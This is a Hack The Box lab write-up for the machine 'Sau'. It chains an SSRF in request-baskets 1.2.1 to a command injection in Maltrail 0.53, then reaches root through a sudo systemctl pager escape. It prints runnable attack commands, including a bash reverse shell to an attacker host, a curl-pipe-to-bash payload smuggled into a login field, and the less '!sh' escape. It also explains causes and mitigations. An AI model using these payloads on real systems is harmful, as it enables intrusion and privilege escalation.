- OS: Linux
- Domain / vhosts:
sau.htb
Summary
Sau is an Easy Linux box built around two CVEs chained together. The external-facing service is request-baskets, an HTTP request inspection tool. Version 1.2.1 is vulnerable to CVE-2023-27163, a server-side request forgery bug: the application fetches a user-supplied “forward URL” from its own backend, bypassing any network-level restrictions between the attacker and internal services. The box uses this to hide Maltrail, a network traffic monitoring tool, on an internal port (8338) that is filtered from the outside.
Maltrail 0.53 has an unauthenticated command injection vulnerability in its login endpoint. The username parameter is passed unsanitized into a shell-interpreted context, so backtick expansion executes attacker-controlled commands as the process owner — in this case puma. Because the SSRF allows the attacker to reach the Maltrail login form and POST to it, both vulnerabilities are reachable from the internet without any prior authentication on either service.
Privilege escalation exploits a well-known interaction between sudo, systemctl, and terminal pagers. The puma account is permitted to run systemctl status trail.service as root without a password. When the service status output exceeds the terminal height, systemd pipes it through less. The less pager supports shell escapes via !cmd syntax, and since the controlling terminal is preserved across the sudo boundary, !sh drops into an interactive root shell.
Recon
nmap -p- --min-rate 5000 -Pn -oA scans/alltcp <TARGET>
nmap -sCV -p 22,80,8338,55555 -Pn -oA scans/services <TARGET>
22/tcp open OpenSSH 8.2p1 Ubuntu
80/tcp filtered
8338/tcp filtered
55555/tcp open request-baskets 1.2.1
The scan reveals a deliberate firewall arrangement. Ports 80 and 8338 are filtered rather than closed — the services are running but inaccessible from the outside. Port 55555 is the only open web service: request-baskets, a tool that captures and inspects incoming HTTP requests. The version (1.2.1) is directly significant because it is the last release before CVE-2023-27163 was patched. The filtering of external ports 80 and 8338 is the design constraint that makes SSRF the necessary pivot rather than a convenient one: neither service is reachable directly, so the SSRF inside request-baskets is the only way to interact with them.
Web enumeration
The only externally reachable web service is request-baskets on port 55555. Its UI allows creation of named “baskets” that capture HTTP requests; the basket configuration API is unauthenticated and accepts a forward_url field that causes the server to proxy incoming requests to an arbitrary backend.
Initial exploration pointed a test basket at http://127.0.0.1:80 — the filtered port from the nmap scan — but the basket timed out, indicating nothing was listening on port 80 internally. Redirecting to http://127.0.0.1:8338 returned an HTTP 200 with Server: Maltrail/0.53 and a login page. The SSRF reaches a real internal service with a known CVE. Confirming that POST requests to the basket’s public URL are forwarded to Maltrail’s login handler validated that the injection path was accessible.
Foothold — CVE-2023-27163 SSRF + Maltrail RCE
CVE-2023-27163 is a server-side request forgery in request-baskets. The application’s basket API accepts a forward_url configuration field and, when a request arrives at the basket’s public URL, fetches that forward URL from the server’s own network context and proxies the response back to the caller. There is no validation that the forward URL points to a public host, so pointing it at http://127.0.0.1:8338 causes the server to relay requests to its own internal Maltrail instance. Setting proxy_response: true ensures the Maltrail HTTP response is returned to the attacker rather than silently discarded.
curl -X POST http://<TARGET>:55555/api/baskets/mt \
-H 'Content-Type: application/json' \
-d '{"forward_url":"http://127.0.0.1:8338","proxy_response":true,"insecure_tls":false,"expand_path":true,"capacity":250}'
curl -i http://<TARGET>:55555/mt/login
# Server: Maltrail/0.53 — confirms SSRF reaches internal Maltrail
The Server: Maltrail/0.53 response header confirms the SSRF is working and identifies the internal application version. Maltrail 0.53 has an unauthenticated command injection in its login form: the username POST parameter is interpolated into a shell command without sanitization. Backtick expansion executes before the surrounding command, so embedding a backtick payload in the username causes the server to execute attacker-controlled commands as puma. Injection was first confirmed with an HTTP callback before a shell payload was attempted — a useful step to verify code execution without leaving a hung process.
printf 'bash -i >& /dev/tcp/<ATTACKER>/4445 0>&1\n' > www/r
python3 -m http.server 8000 --bind <ATTACKER>
nc -lvnp 4445
curl -X POST 'http://<TARGET>:55555/mt/login' \
--data-urlencode 'username=;`curl -s http://<ATTACKER>:8000/r|bash`' \
-d 'password=x'
Hosting the reverse shell as a fetched script avoids embedding shell redirections inside a URL-encoded parameter value where quoting errors would silently break execution.
User flag
The Maltrail injection runs as puma, the service account for the Maltrail process. The user flag is in puma’s home directory and is readable immediately after obtaining the shell:
cat /home/puma/user.txt
No lateral movement is required; the foothold account owns the user flag.
Privesc — systemctl pager escape
sudo -l shows a single allowed command:
(root) NOPASSWD: /usr/bin/systemctl status trail.service
This is dangerous because of how systemd presents service status. When the output of systemctl status is longer than the terminal height, systemd pipes it through less as a pager. The less pager supports shell command execution via !cmd syntax. Because sudo preserves the calling process’s controlling terminal by default, the less invocation still has an interactive terminal attached — which means !sh spawns a real interactive shell running as root.
The key precondition is that the status output must exceed the terminal’s row count to trigger paging. On a small terminal (or with a low LINES value), the output is long enough to engage the pager:
sudo /usr/bin/systemctl status trail.service
# when the pager prompt appears:
!sh
# → root shell
Why each step worked
CVE-2023-27163 SSRF. The request-baskets design assumes that the operator who configures a basket’s forward URL is a trusted administrator. In this deployment, the API endpoint that sets forward_url is accessible without authentication. Any visitor can create a basket and point it at any URL reachable from the server’s own network interface, including localhost. The proxy_response flag is what converts this from a blind SSRF — where the attacker can trigger requests but cannot read responses — into a full read/write proxy to internal services. Without proxy_response, the Maltrail login page would still be requested but the response would be discarded.
Maltrail unauthenticated command injection. Maltrail 0.53’s login handler constructs a shell invocation to process the login attempt and passes the username POST parameter into that construction without sanitization. Because the shell evaluates backtick expressions before executing the outer command, an attacker can inject arbitrary commands into the login request without needing valid credentials first. The endpoint is intentionally unauthenticated — it is the login page — so there is no credential check that would block the injection before evaluation occurs.
sudo + systemctl + less shell escape. The sudo configuration grants the right to run a specific binary as root, which is a common attempt at fine-grained privilege delegation. The problem is that systemctl status is not a purely passive command: its output behavior depends on the environment. When a controlling terminal is present and output is long, systemd invokes less. The less pager has always supported !cmd as a way to shell out without leaving the pager — a feature for legitimate use but a reliable escape when reached under an elevated sudo context. sudo preserves the caller’s TTY by default, so less sees a real terminal and !sh creates a real interactive session inheriting root privileges.
Counterfactuals
Upgrading request-baskets to version 1.2.2 patches CVE-2023-27163 by restricting the forward_url field to public addresses and blocking loopback or private-range targets. Without the ability to reach 127.0.0.1:8338, Maltrail is completely invisible to an external attacker and the rest of the chain does not begin.
Even if SSRF were possible, upgrading Maltrail to a version after 0.53 removes the unauthenticated command injection in the login handler. An attacker reaching the internal Maltrail login page would then need a valid credential to proceed, turning this into a different class of problem entirely.
For the privilege escalation, two changes work independently. Adding SYSTEMD_PAGER=cat to the sudo environment means systemctl always prints plainly without paging, so less is never invoked and the escape path does not exist. Alternatively, specifying systemctl --no-pager status trail.service in the sudoers entry itself prevents paging at the command level regardless of the environment. The root cause is that the granted command is interactive by design; any defense must explicitly suppress that interactivity.
Key Takeaways
- An unauthenticated basket configuration API combined with
proxy_responseconverts a self-hosted HTTP inspection tool into a full SSRF proxy — always check whether a web application’s admin API requires authentication. - SSRF to an internal service with its own RCE vulnerability is a common two-stage chain; firewalling internal ports does not help if an application on a permitted port will relay requests there.
- Unauthenticated endpoints are injection targets too — the login handler runs before authentication is checked.
sudoentries forsystemctl statusare a well-known privesc path;--no-pagerin the sudoers command orSYSTEMD_PAGER=catin the environment are the specific mitigations.
References
- CVE-2023-27163 advisory (request-baskets SSRF)
- 0xdf, “HTB: Sau”
- IppSec, “Sau” video walkthrough